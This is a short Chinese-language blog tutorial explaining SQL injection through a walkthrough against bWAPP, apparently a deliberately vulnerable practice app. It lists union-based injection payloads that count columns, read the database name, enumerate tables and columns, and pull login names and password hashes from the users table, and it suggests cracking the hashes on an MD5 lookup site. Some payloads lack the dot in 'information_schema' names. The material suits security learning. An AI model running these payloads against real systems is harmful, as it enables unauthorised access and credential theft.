SQL注入是怎么回事

SQL注入是怎么回事,第1张

0x01:测试分析

我们进行测试这里是否存在SQL注入漏洞

输入'

点击go后

报错了,说明很大可能存在SQL注入漏洞了。

0x02:爆字段(字段就是这个数据表中的列)

-1 order by 1#

-1 order by 2#

-1 order by 7#

-1 order by 8#

所以可以判断出来,一共有7个列。

0x03:爆数据库

-1 union select 1,database(),user(),4,5,6,7 #

当前数据库名为bwapp

0x04:爆表(即获取当前数据库有哪些表)

-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schematables where table_schema=database() #

经判断,当前查询方式有限制 limit 0,1

可以通过group_concat() 查询

当前数据库有,五张表,分别是

blog,heroes,movies,users,visitors

0x05:获取后台账户用户名和密码

-- 查users表的列名

-1 union select 1,group_concat(column_name),3,4,5,6,7 from information_schemacolumns where table_name='users'#

users表中有9列,分别是

id,login,password,email,secret,activation_code,activated,reset_code,admin

-- 查login和password的内容

-1 union select 1,group_concat(login),group_concat(password),4,5,6,7 from users#

获得两个账户 AIM和 bee

密码需要先解密

md5解密地址:cmd5com

以上就是关于SQL注入是怎么回事全部的内容,包括:SQL注入是怎么回事、什么是SQL注入、sql注入的语句特征等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/web/9633659.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-30
下一篇2023-04-30

发表评论

登录后才能评论

评论列表(0条)

    保存